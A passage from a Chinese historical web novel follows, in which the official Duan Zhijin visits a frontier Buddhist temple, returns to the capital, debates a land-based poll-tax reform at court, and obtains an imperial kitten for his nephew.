自己当初写策是为了将其变成雍朝所属,可皇帝对穹迦这块儿地方可有可无,并不在意,唐馥又为何要耗费心力,做这吃力不讨好的事情? 方叙墨答道:“我临来的时候,西北的备战已经结束,正在往鬼见愁进发,估计着我到南诏见到你的时候,朝廷已经拿到了鬼见愁。打仗,这件事马虎不得,走一步要看十步才行。西北的疆域光大,那么长的边境线我们拦不住,倘若新任汗王溃败,那么他就会往穹迦逃。” “牢洱我们可以不在乎,但阿速勒一定得死。” 段之缙心中暗暗称赞,唐馥果然是天生的将才,原书中的确是如此,也难为他能看着自己草率不堪的策题做到这种地步。 方叙墨又道:“再加上仁通大师佛法精深,愿意为了宣扬大道进入高地行走,这才叫唐馥得偿所愿。仁通大师的大慈悲寺是唐馥用藩库里的钱建的,你要去看看吗?” 段之缙答应下来,不仅是为了拜见仁通法师,他还想帮唐馥一把。 现在穹迦贵族围剿佛教徒,一定要有更大的利益横在面前,才能叫这些人无所顾忌地皈依。 两人便偏离原来的路线,离开队伍悄悄去了大慈悲寺所在的觉桑。 能建立佛寺的地方,往往是边境荒凉之处,这才能苟且偷生,但信徒不少,算是悲苦生活中唯一的一点儿慰藉。 大慈悲寺是觉桑最为宏大的一座佛寺,虽比不上内地寺庙的规制,但也算小有规模,段之缙二人到的时候,大法师仁通和尚正在为教众讲授佛法。 法师跏趺而坐,手中沉香念珠随诵经声转动,阖目解佛语。 “所谓是法平等,无有高下,一切男子是我父,一切女子是我母……” 两人蹑手蹑脚地进入讲经正殿,在角落里找了蒲团坐下,聆听大师的教诲。 讲经的活动一直持续到中午,段之缙随大家用了素斋,上前和仁通法师见礼,问起了信教的情况。 仁通道:“我佛慈悲,感化众生,在此间信徒无数,香火鼎盛。” 段之缙略放下了心,但他此行并不只为了问这无用之事,而是要说服仁通大师以转世活佛的称号对外传教。 段之缙问道:“《法华经》云,诸佛世尊唯以一大事因缘故出现于世,此方之众生未得救,佛菩萨是否会现世?” 仁通答道:“《华严经》中说,一切众生而为树根,诸佛菩萨而为华果,活佛转世以众生为根,通过化身教化苦众。佛菩萨之悲愿,不证涅槃,回入婆娑,此方人不受礼教,被爱恨贪嗔痴所缠,而贵族业果缠身,我佛菩萨自然转世。” “敢问佛菩萨转世何在?” 仁通摇头,“贫僧不知。” 段之缙对仁通行大礼,“我见活佛转世,往往是乘愿再来,续佛慧命,宣扬佛法,使教法不坠。法师大慈大悲,在此穷苦困顿之地教化穷苦困顿之民,定然是活佛转世了。我将为法师求皇帝陛下恩典,封法师为国师。” 仁通为传教而来,自然明白有称号对僧人传教之意义有多大,他颔首称谢,实则答应下来。 段之缙见他没那么迂腐,心中大大赞赏,现在思想上的武器可待完善,物理上的武器也得完善一番,便叫来了唐馥安排在这里的属官。 他俩虽未有什么上下级关系,但段之缙和唐馥也算是相识,属官会汇报给唐馥。 段之缙道:“尽快传给你们大人,这里的民众贫苦,可最是贫苦的地方不需要粮食,你得给他们刀剑才是。如果阿速勒往穹迦逃,你也可以叫民众们和他们的领主顶一顶,看看这土地归谁。” 他话一顿,笑道:“当然了,这话不能跟大法师说,毕竟他素来信奉的都是不害一切众生。平时多叫他讲讲众生平等的道理。此外我会从南诏给你们调拨银子来,没事儿也施粥发钱。倘若没了,跟你们总督说,来问我要也成。” 属官应下,段之缙和方叙墨才偷偷回到了大部队,又一起回到总 督衙门。 此时苏橙要查的事情已经查完,他们还要回去和皇上复命,不能在南诏多呆,稍歇了两天便准备回程,段之缙再城门口送行,兜兜转转,竟然已经八月份了。 两个人相互劝酒,倒也没有到执手相看泪眼的程度,因为段之缙在南诏任总督已经满了三年,十二月前要到京述职。 他改土归流的差事还差一截,不知皇帝是什么打算。 方叙墨叫他宽心,“虽没有彻底地完成,但南诏事之难,陛下也是深知的,该有的奖赏也会有。与其思虑这些,患得患失,倒不如想想摊丁入亩的事情,只怕进京之后这个差事还会被托付给你。” “你可知摊丁入亩议到了什么程度?” 方叙墨答道:“现任的户部尚书俞石明和绝大多数官员都明言反对,皇上觉得难办的只有一个事儿,那些许薄田的小民,他们的田赋应该如何厘定。到京之后我会写信给你,但在你上京之前,也得想一个应对的法子,否则你作为提出者,定然要受不少诘难。” 段之缙拉着方叙墨道谢,又送他上轿,一直到轿子远去,一点影子都不见才回城,心里想的全是摊丁入亩。 摊丁入亩的事情还没有想出法子,茶山又出问题。 西南之地多山,种植茶树果林获利最大,但这些东西不如粮食一般一年之内就能长成,少则二三年,多则四五年之内没有任何收成,时间的成本核算下去,到目前为止,地方藩库难以支撑。 再者多是在新设立府县的地方试点,整个省份的田赋比之未改土归流之前相差不大,那就定然会被人责问,为何田地多了,偏偏田赋不变。 段之缙心里想着,终究拿不准纪禅的心思,希望他能保住自己。 现在也只能想想回京的事宜。 上京述职不同于调任,除了随从之外没必要带亲眷,再加上南诏、岺州二省的政务不能停,沈白蘋和锁儿就得留在总督衙门中,段之缙带着王章独自上京。 沈白蘋给他收拾了些土产出来,有带给京中家里的,有送给秦先生、郑兄等人的,还有献给陛下的,样样不能少。 似乎也该给岳丈送一份,但沈白蘋道:“我父亲素来好清名,只与清贵人家往来,现在咱们家发起来了,贵而不清,外祖又是商户,有言道孝顺以顺为本,还是不要戳他老人家的眼眶子了。” “再者这么长时间都没来往过,现在回了京倒想起了你的岳丈。” 旁人非亲非故,怎么冷眼旁观都是应当的,可就算杨家外祖落败了,做父亲的也总该管管自己的女儿。 父亲没管,自己这个做女儿的也不愿再管他。沈白蘋虽奇怪这么长时间没人说嘴,但多一事不如少一事,没有深究。 段之缙哼哼两声,小声道:“其实是来往的。” “我怎么不知道?” “母亲说事情要做周全,不能叫人指点,在我乡试过后就恢复了年节里的来往,只是礼到人不到罢了。” 沈白蘋一恼:“怎么不跟我说?” 段之缙只哼哼不答话,狠挨了一拳。 …… 十月份,段之缙带好人马上京,一刻不停地赶路,终于在十二月之前到了京城,看着陌生又熟悉的大门,顿生无限感慨。 第116章 116如今京城分成了内外两城,…… 如今京城分成了内外两城,百姓们居住在外城,一切王公官员及其亲眷居住在内城。 段之缙从外城走到内城的城门,才看见段家的车马在等候,琼香坐在车架上,一见段之缙还不敢认,直到段之缙上前才欣喜若狂地问礼,给车里的太太拉开帘子。 王虞和段之缙来往书信不断,可到底不如相见,如今见了指靠的儿子,未语泪先流,要说些瘦了的话,可仔细瞧瞧,反而比三年前文弱的样子壮不少,身子看着更康健,满怀欣喜道:“你娘和你媳妇把你照顾得不错,母亲放心了。” 以往在京中,这儿子的事儿哪一件不是她操办?现在他自己带着人出去过日子也这样好,只有说不出的欣喜。 段之缙问了问家中的情况,问云霓丫头怎么没来,母亲叹一口气说:“她家那个小子,生下来就有些体弱多病,上个月选好日子种了牛痘,竟然高烧了好几日,现在还虚虚地躺在床上,不敢下地,云霓丫头怎么走得开?” “幸好他老子在皇上跟前儿得脸,禁宫中的珍贵药材时有赏赐,才又惊又险地拉扯到这么大。” 段之缙的心一下子揪住,云霓丫头的日子不好过,看着母亲心神俱乱的样子,强宽慰道:“孩子小时候身子都弱,越长越强健,等着他长大就好了。大难不死必有后福,种痘都挺了过去,定然能健健康康长大了。” 王虞擦擦眼睛,叹一句:“但愿吧……你还要进宫吗?若还有事便走吧,我自己回去就成,今儿我在聚鲜阁定了屋子,替你请了秦先生、方大人、邹大人、郑大人他们来,大家聚一块儿亲热亲热,他俩在京中能帮你不少,千万别生分了。” “也叫上妹夫吧。” 王虞苦笑:“哪里脱得开身?他一天天,不是在皇上身边就是守着孩子,再也没去过旁的地方。” 段之缙松下一口气,只要宋征舆还在意着这个孩子,那妹妹就还好。 最怕是妻子生下了身子不好的子嗣,丈夫也紧跟着不耐烦这个不争气的孩子,连带疏远母亲。 段之缙和母亲走了一段,而后分开前往皇宫拜见皇帝。 皇帝正在处理政事,段之缙稍等了一会儿才被叫进去,还未行完大礼便被叫起,吕太清拿了一个小杌子叫他坐下。 皇帝令他抬头面圣,惊奇道:“方叙墨回来说,朕还不敢信,果然是壮了,瞧着比之前好。” 又问:“两省这么多事务,你又兼着改土归流的重任,怎么处理得了?” 段之缙回道:“臣惶恐,因臣长久在外,一应政事全委于拙荆一人,平日里的题本、奏本,也多是拙荆代臣上奏。” 皇帝了然,“看来南诏的功绩,也 要有你夫人的一半。” 段之缙实在关心那诰命还能不能发下,试探道:“臣不敢称功,南诏改土归流的差事臣没有在三年内做完,愧对陛下。” 皇帝失笑:“你何时学会了这样试探的手段?全当朕怜惜你吧,那两个诰命赏给你,你在南诏好好办差,说不得摊丁入亩的事情还要你来办。” 段之缙叩首谢恩,现在时近晌午,皇上留他用饭。 段之缙刚坐到皇帝对面,外边就有小太监禀报,“皇上,绥王到了。” 段之缙正奇怪绥王是哪一个王,王贺就抱进来一个瞧似乎只有四五岁的小孩儿,又转手递给御前侍卫苏橙,被苏橙抱到皇帝身边。 孩子高高兴兴扑到皇帝身上,没规没矩地叫父皇,也不请安。 皇帝捋捋他的小脑瓜,把他搂到怀里,段之缙急忙下座给小王爷请安,小王爷理也不理,只拗着劲儿和皇帝说话,还是皇帝叫段之缙起来。 皇帝笑看着段之缙,问道:“可还认得出?” 段之缙的确没认出,皇帝又回:“他还在你家住过,这都忘了?” 段之缙小心看看孩子泛着病气的小脸,终于认出了是谁。 那个双生子里的弟弟,如今的四皇子。 六岁就封了亲王,蒙恩深重啊。 皇帝把绥王转一个方向,叫吕太清喂饭,自己吃两口还要瞧瞧小王爷吃得怎么样。 绥王挑食,咬菜只咬一半儿,嚼两下不合胃口就往外吐,大家就都紧着他的心情来,换上别的菜品,看得段之缙目瞪口呆。 这样教养,怕又是一个肃王。 不知他的兄长能不能容下他。 整个乾清宫宫人,连带着皇上的注意力全在这个小孩子身上,人家蹬蹬腿撞在椅子上,王贺得上去看看脚有没有撞疼。 小王爷性子大,吃饭吃一会儿玩一会儿,就这都不满意,不知是哪里没伺候好,绥王竟当着皇帝的面儿发起了脾气。 他小手一扬,一下子把粉彩的小碗摔在地上,皇帝瞧外臣在就闹出来这么一出,脸色不太好,手指抵在唇上叫他噤声,结果小王爷更生气,眼一眨就落下来泪,扭过头闭着眼嗷嗷哭。 段之缙头一回儿瞧皇上这么尴尬,直咳嗽,伸手去抱儿子,被人家狠推开,只叫苏橙抱,嚷嚷着要找太子哥哥,皇帝也不敢再留这孩子,赶紧叫人抱走,送到东宫去。 刚才震耳欲聋的哭声止了,段之缙埋头盯着碗里的菜,皇帝叫孩子一闹,又用了两口便吃不下,见段之缙也停箸便吩咐人撤了菜,又吩咐他想想摊丁入亩的事情,明儿御门听政报上来,这才叫他退下。 段之缙出了乾清宫直擦冷汗,又摸摸自己瘪瘪的肚子,准备回家吃第二顿。 家里也正在用餐,母亲带着弟妹和珠珠吃饭,瞧他回来饿死鬼投胎的样子称奇。 “好歹还是封疆大吏呢,这样没个吃相,看我们珠珠,小孩子都比你吃得好。” 段之缙将上午的事儿说了,扶额道:“如何能比,这是我今日的第一顿饭呢。” 王虞才可怜起他,叫嬷嬷布菜。 吃完饭,段之缙问起四弟的情况,王虞道:“托秦先生给他选了一位老进士,从头开始细细地磨,但愿明年能中。” 段之缙见弟妹退了下去,问道:“四弟自己想考吗?” “他想不想考,不都得考吗?” “儿子的意思是,倘若四弟不想走这条路,想干些什么便干些什么吧……” 王虞眼一瞪:“呸!这是什么话?我即便没读过书,也知道万般皆下品,唯有读书高的道理。他不读书进仕想干什么?种地?经商?这两样他能干好哪一样?” 段之缙叫她吓一跳,摸摸鼻子,“母亲,若是弟弟屡试不中,难道要叫他死磕南墙吗?他自己愿意也就罢了,若是不想,偏偏因为我们的希望而不敢放弃,那岂不是一辈子不得展颜?这又是何苦?” 王虞手里的小茶碗啪嗒一声放在桌上,“你会讲大道理,我不跟你说了还不行吗?收拾收拾自己,今儿晚上好好招待客人。” 她一副别跟我说话的样子,段之缙悻悻住了嘴,和旁边瞪着眼瞧的珠珠一对视,珠珠就咧嘴一笑,拽着段之缙的袖子问:“二伯,你要听我背诗吗?” 王虞精神焕发,拍手道:“快给你二伯背首长的!” 而后段之缙就听见不及腿长的小孩儿利利索索背出了《离骚》,惊得不知说什么好。 他像珠珠这么大的时候,字还未认全,怎么人家连《离骚》都会背了? 段之缙叹一声,“他爹能不能高中我不知,他若不能高中,天理难容啊!” 王虞这才满意,说下午上课的点儿到了,送珠珠去上课。 到了晚上,段之缙出去吃饭,他竟是最晚到的,让秦先生等人等了许久。 段之缙上去见礼,因为许久没穿这样厚的棉衣,一时间竟伸展不开,他和邹文最长时间没见,话聊得最多,原本有些生分,很快也熟络起来。 段之缙扯着邹文道:“礼部的差事如何啊?应当不赖吧。” 邹文笑道:“早走了,去户部当侍郎去了。” “那这是喜事啊,更应该好好喝一顿了!” 邹文皱皱脸,“可别提,我们尚书俞石明就是个棒槌,管部王爷是长乐王,他跟誉王起什么腻?现在王爷在部里鼻子不是鼻子脸不是脸,日子不好过。” 段之缙不解,“我听着德润兄说已经开始给誉王论罪了,怎么……” 郑楒琅在一边儿苦笑:“更别提了,都察院的御史席翱,一等一的正直人,连着上三封折子劝陛下亲善兄弟,陛下大为感动,又宽恕了誉王的罪行。” 他们这些人有白天没黑夜地干,为了搜罗誉王之罪,把誉王的世子被奴才叫小王爷的事情都扒了出来,论上一个御下不严,僭越礼制的罪过,结果皇帝叫席翱说得眼泪直流,全白干了。 这一群人里,只有秦先生脾气大,能和皇帝吵架,方叙墨一切唯皇帝之命是从,剩下的两个两边儿受气,长乐王也不是好伺候的主儿。 段之缙安慰安慰这个,宽慰宽慰那个,深觉自己在南诏挺好,这辈子不想做京官。 等着菜上齐了,大家开始动筷,段之缙说起今天早上的事情,打趣皇帝两声,“陛下雷霆之声,对着小绥王也软了。” 其他人还没说话,方叙墨作为亲姐夫先冷笑一声,“我瞧着不好,怕养不出好养。” 秦先生以前教导过二皇子,只以为是和二皇子那样顽劣,谁知方叙墨道:“不怕孩子调皮,也不怕孩子蠢笨,就怕孩子又伶俐又暴戾。” “他是当着陛下的面儿才哭哭啼啼,对上旁人,你且等着吧。六岁的孩子,欺负起来兄弟姐妹,没一回儿手软的,上次和自己一母同胞的哥哥斗气,要把人家推水里。” 段之缙脸色一变,“皇上没罚他吗?” “几年前我把三皇子送到你的府上抚育了一段时间,就剩下小王爷留在家中,陛下和中宫娘娘到现在都觉得亏欠于他,他身子又不好,如何敢罚?” 方叙墨浅酌了一口酒,嗤道:“等着吧,要是他身子渐好了,再过十年入朝,我们的苦日子才算到了。不过你命好,说不得一辈子在外边打转,只要明天御门听政结束了,过几日会你那一亩三分地,谁还管的了你?” 第117章 117段之缙心事重重吃…… 段之缙心事重重吃完酒回家,叫外边的冷风一吹,激起来一层鸡皮疙瘩,他也不想进屋,就坐在院子里发呆,也没瞧见王章领着珠珠进来,直到珠珠给他请安。 段之缙瞧了瞧天上的月亮,奇道:“都这么晚了,怎么还不就寝?” 珠珠讨好地上来拉着二伯的手,“二伯,今天我背诗背得好不好?” “背得滚瓜烂熟,实在是厉害!”再看他“谄媚”的小样儿,便知这小机灵鬼是来讨赏的了,于是主动说道:“这个聪明伶俐又勤奋好学的好孩子怎么生在我家?二伯得奖励你点儿东西才好。” 珠珠一下子兴奋起来,小脸放在二伯膝盖上撒娇,“我想要只猫猫,二伯给我聘只猫好不好?” 连科已经没有了,小孩子总是能很快地从悲伤中挣脱出来,便想着要一只新的猫,但有些时候,他们的愿望往往不能满足。 珠珠娇滴滴恳求道:“就说是二伯送给我的,别说是我要的成不成?” 段之缙问:“这是为什么?” 珠珠哼哼两声,“祖母说,不叫我玩物丧志,要我好好读书。” 做长辈的确是会有这种担忧,这又是弟弟的孩子,总不能自己带回来了猫,叫大家觉得娃娃不学好了,于是段之缙拉着孩子的手说:“猫儿聘了回来,你就更要努力上进,倘若叫二伯知道你玩物丧志,二伯就把你的猫扔外边去,叫它自生自灭。” 珠珠吓了一大跳,最后认真思考一番,郑重道:“我一定好好读书,绝不叫二伯把我的猫扔出去。” “一言为定?” “一言为定!” 就这还不作数,段之缙从房里拿纸笔写了一份契书出来,两个人签字画押作为保证,段之缙说服母亲叫珠珠养猫并给珠珠聘一只猫儿回来,珠珠则要如往常一般读书,否则就把猫扔出去。 哄好孩子回去睡觉,一日一大早就进宫议政,正巧碰上刘玳廷,段之缙与他在路上寒暄了一会儿。 “摊丁入亩的事情你可想好了?若是说不出个一二三来,怕是难做了。” 段之缙笑问刘中堂:“下官自然是想好了,只是不知中堂大人对此怎么看。” 刘玳廷睨他一眼,但笑不语。 因为估计着要议很长时间,今日比往常更早,这两人到地方的时候, 天边儿还没有一点儿亮光,皇帝也还在乾清宫没出来。 人到齐,皇帝才姗姗来迟,叫他们看着商议商议。 起先大家还是不说话,别人不说段之缙也不说,低头整理措辞。 皇帝笑道:“一句话不说,那就是没人反对了?” 俞石明当即走出,答道:“皇上,臣有话说!” “你说。” 俞石明道:“臣还是原先的意思,其一,不该叫有地的大户替无地、少地的小民承担人头钱,于理法不通。其二,人头钱摊到地里,未必会叫少地的小民受益,也有可能叫他们负担更重。如人多地狭之省份,有地者寡,无地者众。至于皇上打算的叫国子监生来清丈土地,臣还是认为不妥。监生们在监内应以读书、习业为本,叫他们干这个似乎有悖我朝设立国子监的本意。” 皇帝看向段之缙,段之缙上前说道:“俞大人,我有一惑不解,既然您替大户们道不平,怎么不可怜可怜无地还要纳丁银的小民呢?您作为朝廷的官员,又为什么不替九成九的贫苦百姓们着想,反而要为横行乡里、为富不仁的土豪们说话?” 俞石明白皙的面庞涨红又义正言辞回道:“在陛下眼里哪有什么高低贵贱,一律都是治下子民。既然无高低贵贱,便不应让富者因富受困。再者,乡绅往往教化乡里,助朝廷政令实施,为富不仁者少。” “哦?可出一个丁家,就够南诏几府喝一壶了,还要出几个丁家才够?”他说到这儿,话锋一转,跟皇上恳请道:“今年商户们为西北的战事捐助了不少银子,以后士农工商的说法是不是理应改一改?请陛下恩准。” “不可!商户不事生产,于国家百无一用,士农工商是自古以来的教诲如何能变?”俞石明叫他转口风吓了一跳,急道:“你说摊丁入亩就说摊丁入亩,扯不相干的做甚!” 段之缙回道:“俞大人说商户们不事生产,敢问乡绅们种过地吗?乡绅去割过稻谷吗?乡绅事生产吗?照您的说法,士该和商一样,排在最末才是。” “强词夺理!”俞石明气道:“士大夫代天子牧民,怎能从种地上说其用处?” “那地方的大户们都有官做了?俞大人,你说大户们不应因地多而多缴人头钱,那商户们也不应该因为赚得多而被课以如此重赋啊,现在单纯的商赋就已经达到了十税一,各路关隘的厘金又是一笔不小的银子,请问是不是应该废除?” 皇帝咳嗽一声,“这都哪到哪了?不是议摊丁入亩吗?转回去。” 段之缙连忙请罪,又把话头带了回去,“俞大人,您要是还觉得这是个事儿,就只能说明您不是为朝廷、为皇上做官的,而是为了您自己做的官。因为皇上心系的不是那两三个大户吃没吃亏,而是全天下的老百姓有没有吃饱。” 他一顿道德绑架连带着拍马屁,俞石明还没啥反应,长乐王倒是在一旁憋不住笑了,叫皇上瞪了一眼才堪堪止住。 他心里觉得这个段之缙有意思,一套诡辩下来道理没有几分,却堵住了俞石明那张笨嘴。 只要他还要脸,就得跳过去了。 果然俞石明又拿第二件事儿说嘴,段之缙道:“这事儿也不难,人丁钱都是定额,摊派到各个省份也都是定额,只要能征到足够的银子即可,完全可以制定阶梯一样的征银法。三十亩以下不征人丁钱,超过三十亩不到一百亩的部分,每亩征半两钱,超过一百亩亩不到二百亩的部分,每亩征一两银……以此类推,田越多,缴钱越多,也能遏制乡绅们侵占土地的欲望。” 他仔细查过,三十亩地足够一家人吃饱,这时候不征钱正好能减轻这些人的负担,到了一百亩就算是富农了,富农家口会多一些,原本的人丁钱也不少。 郑楒琅听着,问道:“那缴到最后,地越多岂不是要倒贴钱?” “正是如此。” 在场的大地主们听着脸色都发绿,只皇帝这个想钱想疯了的觉着好,但他也清楚不能征这么狠,多少要让一让,“你这闹得,大家都不要活了。从一百亩开始征吧,慢慢地往上累加,也不要叫人家倒贴钱,征到四两为止。” 刚才叫段之缙掀了房顶,现在皇帝把房顶关上,又打开窗,大家顿觉也不是那么难接受。一亩地纳完田赋之后能收七八两银子,还有盈余。 第二个问题解决,段之缙又主动提起第三个问题:“国子监的学生读书是为了什么?不就是习圣人教诲,日后代天子牧民吗?现在不去看看民生疾苦,难道等着以后外放两眼一抹黑?读万卷书不如行万里路,能给朝廷办差也算积累了经验。” 第三个问题就算不行,皇帝也要强压着官员们叫监生去丈量土地,因此这事儿也不算什么问题。 在场没一个再说话的人,本以为事情到此了结,谁知都察院的人又出来说话,正是席翱。 他梗着脖子道:“皇上,微臣有话讲!” 郑楒琅现在看着他就来气,可偏偏皇帝觉得他为人耿直,是个不可多得的直臣、纯臣,叫他尽管说。 “臣要问问段之缙,倘若地主们把地租提高了,把这个负担转移给佃农或者雇农,你要如何?” 周遭的官员又有了主心骨,纷纷附和。 这基本上是不可避免的,不过段之缙预判过这个问题,此时答道:“土地是国家之根本,本便不应该由私人自定地租,即便不摊丁入亩,也应当由衙门做主,帮助主客双方做契。” 一句话掀起来轩然大波,这是要从大家的钱匣子里拿银票啊。 官员们纷纷跪下,求道:“万万不可啊皇上,这定会引起百姓们的不满,如若动摇国本,后果不堪设想!” 皇帝也觉得段之缙太异想天开了些,连忙打住:“席翱说的事情不一定发生,你们也不用害怕。摊丁入亩到底能不能做,说到底也还得试。若是不行咱们立刻止住,若是行,咱们再全国推行。” 段之缙说了那么一堆,是另有打算,此时当仁不让道:“此事是臣所提,请陛下恩准在臣之岺州、南诏试行。” “好!你有这样的心气!纯臣!忠臣!” 皇帝见他自己提出来大喜过望,正好给别人做做榜样,当即表示:“就算最后没弄好,朕也绝不怪你,做好做坏,朕都给你留一个大学士和军机大臣的职位!” …… 御门听政散去,段之缙孤零零走在出宫的路上,熟人都围在皇上身边儿,其余官员见着他便鼻里喷气,还是自己走为上策,省得挨打。 走着走着,身后传来熟悉的声音。 “允升!” 回头一看,是徐明宣和施秉文。 他俩赶上来蹙眉看两眼,叹一口气:“你这是何苦?” 三年没见面,说这些只觉生分,段之缙回道:“总归要有人去干。” 且钱不是死的,而是活的,它永远往钱多的地方流,土地上无利可图,财主就会把钱投向别的地方,那一片又一片的茶山就有救。 “一块儿吃饭去?” 他俩摇摇头,“我俩在户部 ,是偷着过来的,倘若叫俞大人看见,有我俩的好果子吃。” 第118章 188段之缙默然,看着他们两人…… 段之缙默然,看着他们两人转身离开,独自出禁宫回了家。 家中自然没那么多弯弯绕绕,可大家伙也太高兴了些,王虞又哭又笑,一转身露出了后边的凤冠霞帔。 “你一出门去,礼部就来了宣旨官员,赐下一品诰命的服制,我的儿,我……” 王虞有喜有悲,喜得是夙愿得偿,悲的是自己的亲儿。 头一个发下宏愿,说要叫母亲当一品诰命夫人的孩子是自己的小哥儿,如今看着这锦衣华服,做母亲的肝肠寸断。 弟妹扶着王虞坐下,哄道:“今儿是大喜的日子,母亲得了诰命如何哭哭啼啼?若情入肝肺伤了身,岂不是喜事化作祸事?儿叫了戏班子来,咱们在家中点几场戏看看,也热闹热闹。” 她转过头叫跟在一旁递手绢的儿子到其祖母身前站好,吩咐道:“你开蒙也有些时候了,可背过什么应景的?背来叫你祖母高兴高兴。” 珠珠张口就背:“昔日龌龊不足夸,今朝放荡思无涯。春风得意马蹄疾,一日看尽长安花。” 段之缙上前摸两把小孩儿脑袋:“叫你祖母登科去了,这诗合适吗?” 王虞把珠珠搂过来,喜道:“怎么不合适?我们女人封了诰命,和你们男人高中是一样的。珠珠怎么背都合适。” 珠珠刚还有些害羞,此时一回头做鬼脸,还吐吐舌头。 他这是忘了猫儿的事儿了。 段之缙心下觉得好笑,做出一副知错了的姿态,“是二伯的不是,该罚我,罚我给珠珠聘之猫来吧,连科没了也有几年,聘只猫来守着粮仓也好。” 珠珠眼一亮,王虞眼一瞪,斩钉截铁道:“不行!弄来猫儿乱了孩子读书的心,你消了这个念头吧!” 她自是知道缙儿不会无缘无故说这个,估计是珠珠撺掇的。 但他愿意替侄子出头,就得替侄子挨骂。 段之缙好说歹说,王虞就是不许,催着他进宫谢恩,这个没脸没皮的往凳子上一坐,“若是母亲不许,儿就在这坐着了,晚点儿再进宫。” “你!”王虞气急,“好啊,你要是能聘来只小猫儿,就叫他养。” 这寒冬腊月的,上哪儿去弄小猫来?他又快要回去了,也没时间打听。 段之缙笑着应了,一拍衣服走人,却想着旁的地方没有小猫儿,皇宫里还能没有吗?问皇上要只。 因为在家里拉扯的时间久了,段之缙进宫便有些赶,入乾清宫时皇上已经阅完折子等了一会儿,见他来笑眯眯地看他跪下谢恩,又叫吕太清扶着起来。 “怎么样,朕的灵巧心思,算不算是惊喜?当初说给你生母也并封一品诰命,绝不会食言。这一份诏书和朝服就叫你带回南诏。什么样的荣誉,都不如自己儿子亲自带来的令母亲开怀。” 段之缙再拜谢恩:“陛下怜臣之心,臣没齿难忘,若不能于摊丁入亩一事上竭尽所能,虽死也要下阿鼻地狱,永世不得超生!” 皇帝叫他打嘴,“朕素来信得过你,说这些做甚?只愿诸天神佛庇佑,叫你在南诏一切顺利。你还有什么想要的尽管说,朕无有不应。” 段之缙见他主动提了,反而不好意思,迟疑一会儿皇帝笑道:“别不好意思,宫里新烧的珐琅彩,唐馥知道后跟朕求了两次,朕送了几十件儿去,这都没什么。” “是,臣侄爱猫,求臣为他聘一只猫儿来,可这寒冬腊月的,臣又即将启程,实在无处可找。求皇上的恩典赐与臣御猫一只,臣全家上下定然奉为上宾。” 皇帝失笑:“一直畜牲罢了,也值得如此?”他转头问吕太清猫房是否有未成的小猫。 吕太清首领太监做的不容易,猫房的猫产仔他都得知道,此时回道:“罗刹人贡的猫儿于本年九月份产过一窝,正好是时候。” “不是奴奴喜欢的那个吧?” “回皇上,不是小王爷爱的那只。” “那就好,你亲自去挑,弄只漂亮又伶俐的来,叫他带回去。” 吕太清领命而去,皇帝又看着段之缙问道:“朕听说民间养猫,都讲究聘猫,和娶妻纳妾差不多,要送给主人聘礼。你的聘礼嘛,就用摊丁入亩的政绩来算,现在先欠着。” 好嘛,为了养御猫背上猫债了,段之缙只好领命。 “现在你跟朕说说,回了西南有什么打算,摊丁入亩的第一步如何去做。” “臣的打算就是走一步看一步。据改土归流之前的造册,南诏、岺州二省,成丁有三十二万八千余人,其中下丁二十四万有余,中丁六万不足,上丁两万八千人。耕地共有四千万亩,占地万亩以上的家族就有四十九个……” 皇帝听前边那句“走一步看一步”脸色立刻不好起来,后听他侃侃而谈,两省俱在心间大为赞赏,才相信他能够走一步看一步。 “臣以为首要的是重新清丈土地,登记造册,作为征收人丁钱的依据。国子监诸生若要随臣启程只怕太过麻烦,请陛下使南诏、岺州二省提督学政大人从府学中委派廪生为臣清丈。” “至于纳银一事,自滋生人丁永不加赋之后,南诏省一年的人丁银为六万五千两,岺州为五万八千两。臣准备俟土地册成,照臣今日上午所言将人丁银摊到地里,最低收上十二万八千两,至多则无数,臣以陛下的旨意为准。” 皇帝深思一番,“上丁是家中占地百亩以上者,今天说的是从百亩开始征,能从这两万八千人里征够吗?” 段之缙答道:“请陛下放心,定然能够征到。现在改土归流之后,土地又向往日土司手中集中了,占地广阔者只多不少,大户们只土地一项,每年收入不下十万两,就算抽一千两出来,这也有四万九千两。更何况四十九万亩土地,一亩只摊一钱的丁银,这也有四万九千两,若是摊一两,那就是四十九万两。” 皇帝彻底清楚了摊丁入亩的好处。 什么人丁银,什么给贫苦的百姓们减轻负担,这些都不重要。 最重要的是从那些土豪乡绅手里抠钱,抠出几倍于人丁银的钱。 皇帝看着段之缙,似笑非笑道:“你自己估量着办,只要有理有据没说瞎话骗朕,就算最后真的没干好朕也给你担待起来。但如果你拿着摊丁入亩横行无忌,把西南搅的一团乱,想想熊计舒是怎么死的,朕还能为了你单开一次凌迟之刑。” “还有一件事儿朕得嘱咐你了,军户的土地历来不征田赋,人丁钱也不能征,把他们撇出去。有旗籍的军官们,他们的土地都是赏赐下去的,也是不交田赋不交人丁钱,但是这些土地要固死,不许买更不许卖。” 这是稳定军心的法子,防着这些人造反,只要这些人不反,下层的老百姓们不反,光那些乡绅是成不了事的,只能任人宰割。 段之缙领旨,“臣定然谨记陛下教诲。” 此时吕太清已经抱着猫在一旁等着许久,段之缙撤出眼去看,目瞪口呆。 这大手大头的,缅因啊! 皇帝也吓一跳,“这是猫崽儿吗?三个来月这么大?” 吕太清回道:“回陛下,的确是小猫崽儿,罗刹国进贡的品种,长成有乐善犬那么大呢,崽子也大。” 皇帝点点头,“倒是稀罕东西,叫两个小太监给他送家里去,别把朕的总督累坏了。”抬头看一眼西洋钟,也该用午膳了,这样说来奴奴也该到乾清宫里来了。 上次的事儿叫皇帝丢了脸,这次可不想再留段之缙吃饭,打发他出去,谁知段之缙刚出殿门不足五百米,迎面撞上了绥王。 他带着人退到一边儿请安,小王爷坐在轿上伸着头往外看,小太监急地叫唤:“好主子,天儿冷,快坐好了别冻着。” 小王爷听若 罔闻,朝着段之缙招招手,“你过来!” 段之缙暗叫不好,恭恭敬敬上前,“王爷有何吩咐。” “那猫儿是怎么回事儿?” “是陛下赐给臣的。” “可是你家有猫啊。” 绥王还记得清楚,他曾在这个人家中住过,他家里有一只极好的大白猫。 “父皇赏你的这只猫是踏雪来的小孩儿,它长大之后有狗那么大,若是和你家的白猫打架,一定把它打得邦邦响,说不定能把它打死,你还是不要带它回去了。只爱一个小猫不好吗?” “回王爷,臣家中的白猫是只老猫,之前已经去世了,臣这只猫是要送给臣侄的。” 小王爷一愣,喃喃道:“去世了……对了,猫的命是很短的。” “你家的猫活了多长时间?” 段之缙瞧他神色不对,声音缓和了下来,又轻又柔,小心翼翼道:“具体的年岁臣不知,可来臣家中也有十年了。” 